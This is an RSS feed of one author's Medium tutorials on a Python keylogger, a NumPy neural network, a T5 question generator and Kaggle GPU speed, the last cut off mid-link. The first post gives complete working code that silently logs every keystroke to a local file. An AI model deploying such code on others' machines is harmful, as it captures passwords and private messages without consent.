<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jaabir on Medium]]></title>
        <description><![CDATA[Stories by Jaabir on Medium]]></description>
        <link>https://medium.com/@jaabir.zaid?source=rss-514654f9af6d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dMZMIivo_JG4xcsPVva-3A.jpeg</url>
            <title>Stories by Jaabir on Medium</title>
            <link>https://medium.com/@jaabir.zaid?source=rss-514654f9af6d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 23:11:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jaabir.zaid/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Keylogger using python]]></title>
            <link>https://medium.com/featurepreneur/keylogger-using-python-8c63a3ea6bcf?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c63a3ea6bcf</guid>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 17:22:52 GMT</pubDate>
            <atom:updated>2022-01-07T07:34:10.877Z</atom:updated>
            <content:encoded><![CDATA[<p>create a simple key logger using pynput</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*RwN0gJpwewiSoJm2.jpg" /></figure><p>NOTE : This is only for entertainment purpose</p><p>In order to create a key logger you need to create a listener that listens to Key as long as the program is running.</p><p>Also we need to make sure that it logs it into a txt file so nothing is lost</p><p>we can achieve this by using a python module called pynput</p><ol><li>first install the module</li></ol><pre>pip install pynput </pre><p>2. import the necessary modules</p><pre>import pynput <br>from pynput.keyboard import Key,Listener</pre><p>3. initialize the global variables</p><pre>li_keys = []<br>count = 0</pre><p>4. create a function that appends the pressed keys to a list</p><pre>def on_press(key):        <br>    global li_keys , count        <br>    if key == Key.space:        <br>        li_keys.append(&quot; &quot;)    <br>    else:        <br>        li_keys.append(key)        <br>        count += 1        <br>        if count &gt; 0:<br>            count = 0<br>            write_file(li_keys)<br>            li_keys = []</pre><p>5. create a function to terminate the program when certain keys are pressed, setting key binds to terminate the program</p><pre>def on_release(key):<br>    if (key == Key.esc):<br>        return False</pre><p>when the esc key is pressed, the program is terminated</p><p>6. now create a function to write all the pressed keys into a file</p><pre>def write_file(li_keys):<br>    with open(&#39;kl.txt&#39;,&#39;a&#39;) as file:<br>        for i in li_keys:<br>            k = str(i).replace(&quot;&#39;&quot;,&quot;&quot;)<br>            if i == Key.backspace:<br>                file.write(&#39;!&#39;)<br>            elif i == Key.up:<br>                file.write(&quot; (up) &quot;)<br>            elif i == Key.down:<br>                file.write(&quot; (down) &quot;)<br>            elif i == Key.right:<br>                file.write(&quot; (right) &quot;)<br>            elif i == Key.left:<br>                file.write(&quot; (left) &quot;)<br>            elif i == Key.enter:<br>                file.write(&#39;\n&#39;)<br>            elif i == Key.ctrl_l or i == Key.shift or i == Key.tab or i == Key.alt_l or i ==Key.esc:<br>                file.write(&quot;&quot;)<br>            else:<br>                file.write(k)</pre><p>7. finally create a listener from pynput and call the on_press and on_release functions</p><pre>with Listener(on_press = on_press , on_release = on_release) as l:<br>    l.join()</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c63a3ea6bcf" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/keylogger-using-python-8c63a3ea6bcf">Keylogger using python</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Neural Network from scratch]]></title>
            <link>https://medium.com/featurepreneur/neural-network-from-scratch-fbdc363f66d1?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbdc363f66d1</guid>
            <category><![CDATA[numpy]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[neural-networks]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 17:03:01 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:24.751Z</atom:updated>
            <content:encoded><![CDATA[<p>creating a simple neural network with numpy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p9aLnbKD2Yp5M2Ig.jpg" /></figure><p>full code : <a href="https://github.com/jaaabir/nn-from-scratch/blob/master/my_nn.py">https://github.com/jaaabir/nn-from-scratch/blob/master/my_nn.py</a></p><p>some of the important methods and terminologies in neural network are :</p><ul><li>forwards propagation</li><li>neurons</li><li>hidden units</li><li>activation functions</li><li>loss functions</li><li>backward propagation</li><li>optimizers</li></ul><p>in order to create a simple neural network, we need to implement all the above terminologies</p><ol><li>import the necessary modules</li></ol><pre>import numpy as np<br>import pandas as pd <br>from numpy import random<br>from numpy.random.mtrand import beta, random_sample <br>from sklearn.base import BaseEstimator<br>from tqdm import tqdm</pre><p>2. create a class and constructor to initialize the variables</p><pre>class Network(BaseEstimator):<br>    def __init__(self, learning_rate = 0.01, epoches = 30, activations = [], layers  = [], <br>                optimizer = &#39;adam&#39;, batch_size = 64, beta1 = 0.9, beta2 = 0.999, epsilon = 1e-8, decay_rate = 0.5, <br>                random_state = None, regularization = &#39;l2&#39;, keep_prob = 1, lambd = 1, t = 2, y_reshape = False):<br>        <br>        self.random_state = random_state<br>        if self.random_state:<br>            np.random.seed(self.random_state)</pre><pre>        self.learning_rate = learning_rate<br>        self.layers = layers<br>        self.n_layers = len(layers) - 1            <br>        self.activations = activations<br>        self.epoches = epoches<br>        self.weights, self.biases = self.initialize_parameters()<br>        self.cache = self.initialize_cache()<br>        self.v, self.s = self.initialize_ewa()<br>        self.costs = []<br>        self.optimizer = optimizer<br>        self.batch_size = batch_size<br>        self.beta1 = beta1<br>        self.beta2 = beta2<br>        self.decay_rate = decay_rate<br>        self.regularization = regularization<br>        self.lambd = lambd<br>        self.keep_prob = keep_prob<br>        self.epsilon = epsilon<br>        self.t = t<br>        self.y_reshape = y_reshape</pre><p>3. create a function to initialize the weights, biases, cache and exponentially weighted average (EMA)</p><pre>def initialize_parameters(self):<br>        w = [<br>            np.random.randn(next_layer, current_layer) * 0.01 for current_layer, next_layer in zip(self.layers[:-1], self.layers[1:]) <br>        ]<br>        b = [<br>            np.zeros((next_layer, 1)) for next_layer in self.layers[1:]<br>        ]<br>        <br>        return w, b</pre><pre>def initialize_ewa(self):<br>        v = {}<br>        s = {}<br>        for i in range(len(self.weights)):<br>            v[f&#39;dw{i + 1}&#39;] = np.zeros(self.weights[i].shape)<br>            v[f&#39;db{i + 1}&#39;] = np.zeros(self.biases[i].shape)<br>            s[f&#39;dw{i + 1}&#39;] = np.zeros(self.weights[i].shape)<br>            s[f&#39;db{i + 1}&#39;] = np.zeros(self.biases[i].shape)</pre><pre>        return v, s</pre><pre>def initialize_cache(self):<br>        c = {}<br>        for i in range(len(self.weights)):<br>            c[f&#39;z{i + 1}&#39;]   = None<br>            c[f&#39;activation{i + 1}&#39;] = None<br>            c[f&#39;w{i + 1}&#39;]   = self.weights[i]<br>            c[f&#39;b{i + 1}&#39;]   = self.biases[i]<br>        <br>            c[f&#39;da{i + 1}&#39;]  = None <br>            c[f&#39;dw{i + 1}&#39;]  = None<br>            c[f&#39;db{i + 1}&#39;]  = None<br>            <br>        return c</pre><p>4. next we need to create a method to propagate through the model ( forward pass )</p><pre>def activate(self, z, activation):<br>        if activation == &#39;sigmoid&#39;:<br>            return sigmoid(z)<br>        elif activation == &#39;relu&#39;:<br>            return relu(z)</pre><pre>def forward(self, x):<br>        a_prev = x<br>        self.cache[f&#39;activation0&#39;] = a_prev<br>        # for i, params in enumerate(zip(self.weights,    self.biases)):<br>        for i in range(self.n_layers):<br>            # w, b = params<br>            w, b = self.cache[f&quot;w{i + 1}&quot;], self.cache[f&quot;b{i + 1}&quot;]<br>            z = np.dot(w, a_prev) + b<br>            a_prev = self.activate(z, self.activations[i])<br>            self.cache[f&#39;z{i + 1}&#39;] = z<br>            self.cache[f&#39;activation{i + 1}&#39;] = a_prev<br>        <br>        return a_prev</pre><p>only implementing sigmoid and relu activation functions to keep it simple</p><pre>def sigmoid(z):<br>    return 1 / (1 + np.exp(-z))<br>    <br>def relu(z):<br>    return np.maximum(0, z)</pre><p>make sure that the above two functions are outside the class Network</p><p>5. Now implement a cost function — cross entropy</p><pre>def cross_entropy_loss(self, a, y):<br>        if self.y_reshape:<br>            y = y.reshape(a.shape)<br>        loss = np.multiply(y, np.log(a)) + np.multiply((1 - y), np.log(1 - a))<br>        return -np.mean(loss)</pre><pre>def compute_cost(self, a, y):<br>        loss = self.cross_entropy_loss(a, y)<br>        if self.regularization == &#39;l2&#39;:<br>            new_weights = 0<br>            for l in range(1, self.n_layers + 1):<br>                new_weights += np.sum(np.square(self.cache[f&#39;w{l}&#39;]))<br>            l2_loss = (self.lambd / (2 * a.shape[1])) * new_weights</pre><pre>loss = loss + l2_loss</pre><pre>return loss</pre><p>the above loss function is a also called as log loss because it is used to compute loss for the binary classification</p><p>6. Now implement a method to propagate backwards</p><pre>def linear_backward(self, dZ, cache):<br>        A_prev, W, b = cache<br>        m = A_prev.shape[1]</pre><pre>dW = np.dot(dZ, A_prev.T) / m<br>        if self.regularization == &#39;l2&#39;:<br>            dW = dW + (self.lambd / m) * W<br>        db = np.mean(dZ, keepdims = True, axis = 1)<br>        dA_prev = np.dot(W.T, dZ)</pre><pre>return dA_prev, dW, db<br>    <br>    def activate_prime(self, da, layer, activation):<br>        if activation == &#39;sigmoid&#39;:<br>            dz = sigmoid_prime(da, self.cache[f&quot;z{layer}&quot;])<br>        elif activation == &#39;relu&#39;:<br>            dz = relu_prime(da, self.cache[f&quot;z{layer}&quot;])<br>            <br>        cache = self.cache[f&#39;activation{layer - 1}&#39;], self.cache[f&#39;w{layer}&#39;], self.cache[f&#39;b{layer}&#39;]<br>        return self.linear_backward(dz, cache)</pre><pre>def backward(self, a, y):<br>        <br>        L = self.n_layers<br>        if self.y_reshape:<br>            y = y.reshape(a.shape)<br>        da = - (np.divide(y, a) - np.divide((1 - y), (1 - a)))<br>        self.cache[&quot;da&quot; + str(L)] = da<br>        <br>        da_prev, dw, db = self.activate_prime(da, L, self.activations[ L - 1 ])<br>        self.cache[&quot;da&quot; + str(L-1)] = da_prev<br>        self.cache[&quot;dw&quot; + str(L)] = dw<br>        self.cache[&quot;db&quot; + str(L)] = db<br>        <br>        for l in range(L - 1, 0, -1):<br>            da = self.cache[f&#39;da{l}&#39;]<br>            da_prev, dw, db = self.activate_prime(da, l, self.activations[ l - 1 ])<br>            self.cache[&quot;da&quot; + str(l-1)] = da_prev<br>            self.cache[&quot;dw&quot; + str(l)] = dw<br>            self.cache[&quot;db&quot; + str(l)] = db<br>            <br>        return</pre><p>like forward pass having a function to compute sigmoid and relu we also need to implement derived function of those activation function</p><pre>def sigmoid_prime(da, z):<br>    return da * sigmoid(z) * (1 - sigmoid(z))</pre><pre>def relu_prime(da, z):<br>    dz = np.array(da, copy=True)<br>    dz[z &lt;= 0] = 0<br>    return dz</pre><p>make sure that the above two functions are outside the class Network as well</p><p>7. now we need to implement a method to update the parameters after the back propagation</p><pre>def update_parameters(self):<br>        for l in range(1, self.n_layers + 1):<br>            self.cache[f&quot;w{l}&quot;] = self.cache[f&quot;w{l}&quot;] - (self.learning_rate * self.cache[f&quot;dw{l}&quot;])<br>            self.cache[f&quot;b{l}&quot;] = self.cache[f&quot;b{l}&quot;] - (self.learning_rate * self.cache[f&quot;db{l}&quot;])</pre><pre>def update_paramters_with_adam(self):<br>        v_corrected = {}<br>        s_corrected = {}</pre><pre>for l in range(1, self.n_layers + 1):<br>            self.v[f&#39;dw{l}&#39;] = (self.beta1 * self.v[f&#39;dw{l}&#39;]) + ((1 - self.beta1) * self.cache[f&#39;dw{l}&#39;])<br>            self.v[f&#39;db{l}&#39;] = (self.beta1 * self.v[f&#39;db{l}&#39;]) + ((1 - self.beta1) * self.cache[f&#39;db{l}&#39;])</pre><pre>v_corrected[f&#39;dw{l}&#39;] = self.v[f&#39;dw{l}&#39;] / ( 1 - self.beta1**self.t )<br>            v_corrected[f&#39;db{l}&#39;] = self.v[f&#39;db{l}&#39;] / ( 1 - self.beta1**self.t )</pre><pre>self.s[f&#39;dw{l}&#39;] = (self.beta2 * self.s[f&#39;dw{l}&#39;]) + ((1 - self.beta2) * self.cache[f&#39;dw{l}&#39;]**2)<br>            self.s[f&#39;db{l}&#39;] = (self.beta2 * self.s[f&#39;db{l}&#39;]) + ((1 - self.beta2) * self.cache[f&#39;db{l}&#39;]**2)</pre><pre>s_corrected[f&#39;dw{l}&#39;] = self.s[f&#39;dw{l}&#39;] / ( 1 - self.beta2**self.t )<br>            s_corrected[f&#39;db{l}&#39;] = self.s[f&#39;db{l}&#39;] / ( 1 - self.beta2**self.t )</pre><pre>self.cache[f&quot;w{l}&quot;] = self.cache[f&quot;w{l}&quot;] - (self.learning_rate * (v_corrected[f&#39;dw{l}&#39;] / (np.sqrt(s_corrected[f&#39;dw{l}&#39;]) + self.epsilon)))<br>            self.cache[f&quot;b{l}&quot;] = self.cache[f&quot;b{l}&quot;] - (self.learning_rate * (v_corrected[f&#39;db{l}&#39;] / (np.sqrt(s_corrected[f&#39;db{l}&#39;]) + self.epsilon)))</pre><p>the above parameter update have two different methods, one for gradient descent and other for adam optimizer</p><p>8. next implement the optimizers, in our case we need to implement gradient descent and adam</p><pre>def GD(self, X, y):<br>        for epoch in tqdm(range(self.epoches)):<br>            yhat = self.forward(X)<br>            cost = self.compute_cost(yhat, y)<br>            self.backward(yhat, y)<br>            <br>            self.update_parameters()<br>                <br>            if epoch % 100 == 0:<br>                self.costs.append(cost)<br>                <br>        return</pre><pre>def adam(self, X, Y):<br>        for epoch in tqdm(range(self.epoches)):<br>            idx = np.random.permutation(X.shape[1])<br>            shuffled_X = X[:, idx]<br>            shuffled_y = Y[:, idx]</pre><pre>            st = 0<br>            ed = self.batch_size<br>            iter_per_batch_size = (X.shape[1] // self.batch_size) + 1</pre><pre>            for _ in range(iter_per_batch_size):<br>                batch_X = shuffled_X[:, st : ed]<br>                batch_Y = shuffled_y[:, st : ed]</pre><pre>                if batch_X.shape[1] &gt; 0:<br>                    yhat = self.forward(batch_X)<br>                    cost = self.compute_cost(yhat, batch_Y)<br>                    self.backward(yhat, batch_Y)</pre><pre>                    self.update_paramters_with_adam()</pre><pre>                    st  = ed<br>                    ed += self.batch_size</pre><pre>    if epoch % 100 == 0:<br>                        self.costs.append(cost)</pre><p>9. finally implement the fit and predict methods</p><pre>def fit(self, X, y):<br>        X = np.array(X)<br>        y = np.array(y)</pre><pre>        if self.optimizer == &#39;gd&#39;:<br>            self.GD(X, y)<br>        else:<br>            self.adam(X, y)</pre><pre>        return self<br>        <br>def predict(self, X):<br>        return self.forward(X)</pre><p>you can view the full code here : <a href="https://github.com/jaaabir/nn-from-scratch/blob/master/my_nn.py">https://github.com/jaaabir/nn-from-scratch/blob/master/my_nn.py</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbdc363f66d1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/neural-network-from-scratch-fbdc363f66d1">Neural Network from scratch</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Question generator]]></title>
            <link>https://medium.com/featurepreneur/question-generator-d21265c0648f?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d21265c0648f</guid>
            <category><![CDATA[nlp]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 15:53:46 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:21.318Z</atom:updated>
            <content:encoded><![CDATA[<p>question generation using nlp and transformers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z-5-s_2cwn8Pj5Nz.jpg" /></figure><ol><li>install the necessary modules</li></ol><pre><em>pip install sentence-transformers transformers</em></pre><p>2. import the necessary modules</p><pre><strong>from</strong> sentence_transformers <strong>import</strong> SentenceTransformer<br><strong>from</strong> transformers <strong>import</strong> T5ForConditionalGeneration, T5Tokenizer, BertTokenizer, BertModel, AutoTokenizer<br><strong>from</strong> sklearn.feature_extraction.text <strong>import</strong> CountVectorizer<br><strong>from</strong> sklearn.metrics.pairwise <strong>import</strong> cosine_similarity<br><strong>import</strong> torch<br><strong>import</strong> spacy<br><strong>from</strong> transformers <strong>import</strong> BertTokenizer, BertModel<br><strong>from</strong> warnings <strong>import</strong> filterwarnings <strong>as</strong> filt<br><br>filt(&#39;ignore&#39;)</pre><p>3. initialize the pre-trained models</p><pre>bert_tokenizer <strong>=</strong> BertTokenizer<strong>.</strong>from_pretrained(&#39;bert-base-uncased&#39;)<br>bert_model <strong>=</strong> BertModel<strong>.</strong>from_pretrained(&quot;bert-base-uncased&quot;)<br>model <strong>=</strong> SentenceTransformer(&#39;distilbert-base-nli-mean-tokens&#39;)<br>nlp <strong>=</strong> spacy<strong>.</strong>load(&quot;en_core_web_sm&quot;)</pre><p>4. create a function for the generating a question.</p><pre><strong>def</strong> get_question(sentence, answer):<br><br>  mdl <strong>=</strong> T5ForConditionalGeneration<strong>.</strong>from_pretrained(&#39;ramsrigouthamg/t5_squad_v1&#39;)<br>  tknizer <strong>=</strong> AutoTokenizer<strong>.</strong>from_pretrained(&#39;ramsrigouthamg/t5_squad_v1&#39;)<br><br>  text <strong>=</strong> &quot;context: {} answer: {}&quot;<strong>.</strong>format(sentence,answer)<br>  max_len <strong>=</strong> 256<br>  encoding <strong>=</strong> tknizer<strong>.</strong>encode_plus(text,max_length<strong>=</strong>max_len, pad_to_max_length<strong>=False</strong>,truncation<strong>=True</strong>, return_tensors<strong>=</strong>&quot;pt&quot;)<br><br>  input_ids, attention_mask <strong>=</strong> encoding[&quot;input_ids&quot;], encoding[&quot;attention_mask&quot;]<br><br>  outs <strong>=</strong> mdl<strong>.</strong>generate(input_ids<strong>=</strong>input_ids,<br>                                  attention_mask<strong>=</strong>attention_mask,<br>                                  early_stopping<strong>=True</strong>,<br>                                  num_beams<strong>=</strong>5,<br>                                  num_return_sequences<strong>=</strong>1,<br>                                  no_repeat_ngram_size<strong>=</strong>2,<br>                                  max_length<strong>=</strong>300)<br><br><br>  dec <strong>=</strong> [tknizer<strong>.</strong>decode(ids,skip_special_tokens<strong>=True</strong>) <strong>for</strong> ids <strong>in</strong> outs]<br><br><br>  Question <strong>=</strong> dec[0]<strong>.</strong>replace(&quot;question:&quot;,&quot;&quot;)<br>  Question<strong>=</strong> Question<strong>.</strong>strip()<br>  <strong>return</strong> Question</pre><p>this function requires two parameters :</p><ul><li>sentence</li><li>answers</li></ul><p>it generate question for the sentence based on the answers using the t5_squad_v1 pre-trained model and returns the list of questions</p><p>Answers can be anything like a key.</p><p>for eg :</p><p>sentence :</p><pre>tact labs is a company. </pre><p>answers :</p><pre>company</pre><p>returns :</p><pre>[&#39;what is tact labs&#39;]</pre><p>5. now create another function to generate meaningful keywords aka answers</p><pre><strong>def</strong> get_embedding(doc):<br><br>  bert_tokenizer <strong>=</strong> BertTokenizer<strong>.</strong>from_pretrained(&#39;bert-base-uncased&#39;)<br>  bert_model <strong>=</strong> BertModel<strong>.</strong>from_pretrained(&quot;bert-base-uncased&quot;)<br>  <br>  <em># txt = &#39;[CLS] &#39; + doc + &#39; [SEP]&#39;</em><br>  tokens <strong>=</strong> bert_tokenizer<strong>.</strong>tokenize(txt)<br>  token_idx <strong>=</strong> bert_tokenizer<strong>.</strong>convert_tokens_to_ids(tokens)<br>  segment_ids <strong>=</strong> [1] <strong>*</strong> len(tokens)<br><br>  torch_token <strong>=</strong> torch<strong>.</strong>tensor([token_idx])<br>  torch_segment <strong>=</strong> torch<strong>.</strong>tensor([segment_ids])<br><br>  <strong>return</strong> bert_model(torch_token, torch_segment)[<strong>-</strong>1]<strong>.</strong>detach()<strong>.</strong>numpy()<br><br><strong>def</strong> get_pos(context):<br>  doc <strong>=</strong> nlp(context)<br>  docs <strong>=</strong> [d<strong>.</strong>pos_ <strong>for</strong> d <strong>in</strong> doc]<br>  <strong>return</strong> docs, context<strong>.</strong>split()<br><br><strong>def</strong> get_sent(context):<br>  doc <strong>=</strong> nlp(context)<br>  <strong>return</strong> list(doc<strong>.</strong>sents)<br><br><strong>def</strong> get_vector(doc):<br>  stop_words <strong>=</strong> &quot;english&quot;<br>  n_gram_range <strong>=</strong> (1,1)<br>  df <strong>=</strong> CountVectorizer(ngram_range <strong>=</strong> n_gram_range, stop_words <strong>=</strong> stop_words)<strong>.</strong>fit([doc])<br>  <strong>return</strong> df<strong>.</strong>get_feature_names()<br><br><br><strong>def</strong> get_key_words(context, module_type <strong>=</strong> &#39;t&#39;):<br>  keywords <strong>=</strong> []<br>  top_n <strong>=</strong> 5<br>  <strong>for</strong> txt <strong>in</strong> get_sent(context):<br>    keywd <strong>=</strong> get_vector(str(txt))<br>    print(f&#39;vectors : {keywd}&#39;)<br>    <strong>if</strong> module_type <strong>==</strong> &#39;t&#39;:<br>      doc_embedding <strong>=</strong> get_embedding(str(txt))<br>      keywd_embedding <strong>=</strong> get_embedding(&#39; &#39;<strong>.</strong>join(keywd))<br>    <strong>else</strong>:<br>      doc_embedding <strong>=</strong> model<strong>.</strong>encode([str(txt)])<br>      keywd_embedding <strong>=</strong> model<strong>.</strong>encode(keywd)<br>    <br>    distances <strong>=</strong> cosine_similarity(doc_embedding, keywd_embedding)<br>    print(distances)<br>    keywords <strong>+=</strong> [(keywd[index], str(txt)) <strong>for</strong> index <strong>in</strong> distances<strong>.</strong>argsort()[0][<strong>-</strong>top_n:]]<br><br>  <strong>return</strong> keywords</pre><p>it uses sklearn’s count vectorizer to get the important keywords and returns the list of tuples which contains both the sentence and the answer which we can then use it in generate_question function to get the questions</p><pre>txt <strong>=</strong> &#39;Mauricio Pochettino open to leaving Paris St-Germain if Man Utd make approach&#39;</pre><pre>get_key_words(txt)</pre><pre>------------------------------------------------------------------</pre><pre>[(&#39;approach&#39;,<br>  &#39;Mauricio Pochettino open to leaving Paris St-Germain if Man Utd make approach&#39;)]</pre><p>now lets use the above text to generate the question</p><pre>txt <strong>=</strong> &#39;Mauricio Pochettino open to leaving Paris St-Germain if Man Utd make approach&#39;<br><strong>for</strong> ans, context <strong>in</strong> get_key_words(txt, &#39;st&#39;):<br>  print(&#39;=======================================&#39;)<br>  print()<br>  print(get_question(context, ans))<br>  print()</pre><pre><br>=================================================================</pre><pre>Who is open to leaving Paris St-Germain if Man Utd make an approach?<br><br>=======================================<br><br>Who is open to leaving Paris St-Germain if Man Utd make an approach?<br><br>=======================================<br><br>Is Mauricio Pochettino open to leaving Paris St-Germain?<br><br>=======================================<br><br>Pochettino is open to leaving Paris St-Germain if Man Utd make an approach?<br><br>=======================================<br><br>What city is Mauricio Pochettino open to leaving if Man Utd make an approach?</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d21265c0648f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/question-generator-d21265c0648f">Question generator</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use Kaggle GPU]]></title>
            <link>https://medium.com/featurepreneur/how-to-use-kaggle-gpu-74b1e184242c?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/74b1e184242c</guid>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 15:16:39 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:40.310Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*_6W04JQSMGag2rIq.jpg" /></figure><p>Kaggle provides free access to NVidia K80 GPUs in kernels. This benchmark shows that <strong>enabling a GPU to your Kernel results in a 12.5X speedup during training of a deep learning model.</strong></p><p>This kernel was run with a GPU. I compare run-times to a kernel training the same model on a CPU <a href="https://www.kaggle.com/dansbecker/benchmarking-model-training-with-a-cpu">here</a>.</p><p>The total run-time with a GPU is 994 seconds. The total run-time for the kernel with only a CPU is 13,419 seconds. This is a 12.5X speedup (total run-time with only a CPU is 13.5X as long).</p><p>Limiting the comparison only to model training, we see a reduction from 13,378 seconds on CPU to 950 seconds with a GPU. So the model training speed-up is a little over 13X.</p><p>The exact speed-up varies based on a number of factors including model architecture, batch-size, input pipeline complexity, etc. That said, the GPU opens up much great possibilities in Kaggle kernels.</p><p>If you want to use these GPU’s for deep learning projects, you’ll likely find our <a href="https://www.kaggleusercontent.com/kf/3581367/eyJhbGciOiJkaXIiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..6EIYcAfvddO7T_FjtGfIXA.pl8dacDNpei9ZNXc8r6ycKR3coOTup0hvbJ_AcMBPkUqx-BvW_Q64hnhsuo9wQB6oCuzcWkp8VuO9lO3G2hN32ua4pXzM2yj8KKnuuhp5I1MP4Yx-sqGj7hC65gdfMs8xHyNLp5QZavcLG1jk_TT8pXDr-olYkFiGdK-SqRSE32h_9AJT4MGi9SFwYXhx0Er4hgGRp7bSuT0EeNwl6ACr0pNxI4ABeBbfJHlE0NjBaO32g6UQhnKFkHCMVHHM1449M8OOd_7whnYIk3NXloQZSXhscLU323gB4YVHiStnosX1lxyHn0gGckLKclYG5LV8m77t_NeRJC9XC_y3VWU0aGIO23ZG7VycPYL8ZYCjafO4CjY6DpjeYbj2rMYKrz-_unzEmysCBXvggy6507xONchbQ8CNV0GUEl8uP9RJH4CpLTCGXcQHkCaf4F8f2KsXKIUIW1v3Eo2dj_NX1z2skx5ediWaSApCz25JFRoVLLGUtKShdI8_9AUi79G2EZjPnZ2rHJG9tDfbIkUYSZ0Ue-pXwrxpVECeAP04CQjWRtYTAmO_-GW8ggQxhL4D_B7sREx5F2aXErHaRswrB9fohk99djLqeZuJChu0nR7XbK_HZuh9v043RndnTMcGOVGqNZ7dD1_8JYWMsNvEx6ZAvb8D-FSCK89TVQ6T6B0Z2dEkW3mFZ2GzU4K_fprEbJK.saXQ-mYtWs4IuSXgr-xxKg/kaggle.com/learn/deep-learning">Deep Learning Course</a> the fastest path around to get up to speed so you can run your own projects. We’re also adding new image processing datasets to our <a href="https://www.kaggleusercontent.com/kf/3581367/eyJhbGciOiJkaXIiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..6EIYcAfvddO7T_FjtGfIXA.pl8dacDNpei9ZNXc8r6ycKR3coOTup0hvbJ_AcMBPkUqx-BvW_Q64hnhsuo9wQB6oCuzcWkp8VuO9lO3G2hN32ua4pXzM2yj8KKnuuhp5I1MP4Yx-sqGj7hC65gdfMs8xHyNLp5QZavcLG1jk_TT8pXDr-olYkFiGdK-SqRSE32h_9AJT4MGi9SFwYXhx0Er4hgGRp7bSuT0EeNwl6ACr0pNxI4ABeBbfJHlE0NjBaO32g6UQhnKFkHCMVHHM1449M8OOd_7whnYIk3NXloQZSXhscLU323gB4YVHiStnosX1lxyHn0gGckLKclYG5LV8m77t_NeRJC9XC_y3VWU0aGIO23ZG7VycPYL8ZYCjafO4CjY6DpjeYbj2rMYKrz-_unzEmysCBXvggy6507xONchbQ8CNV0GUEl8uP9RJH4CpLTCGXcQHkCaf4F8f2KsXKIUIW1v3Eo2dj_NX1z2skx5ediWaSApCz25JFRoVLLGUtKShdI8_9AUi79G2EZjPnZ2rHJG9tDfbIkUYSZ0Ue-pXwrxpVECeAP04CQjWRtYTAmO_-GW8ggQxhL4D_B7sREx5F2aXErHaRswrB9fohk99djLqeZuJChu0nR7XbK_HZuh9v043RndnTMcGOVGqNZ7dD1_8JYWMsNvEx6ZAvb8D-FSCK89TVQ6T6B0Z2dEkW3mFZ2GzU4K_fprEbJK.saXQ-mYtWs4IuSXgr-xxKg/kaggle.com/datasets">Datasets platform</a> and we always have many <a 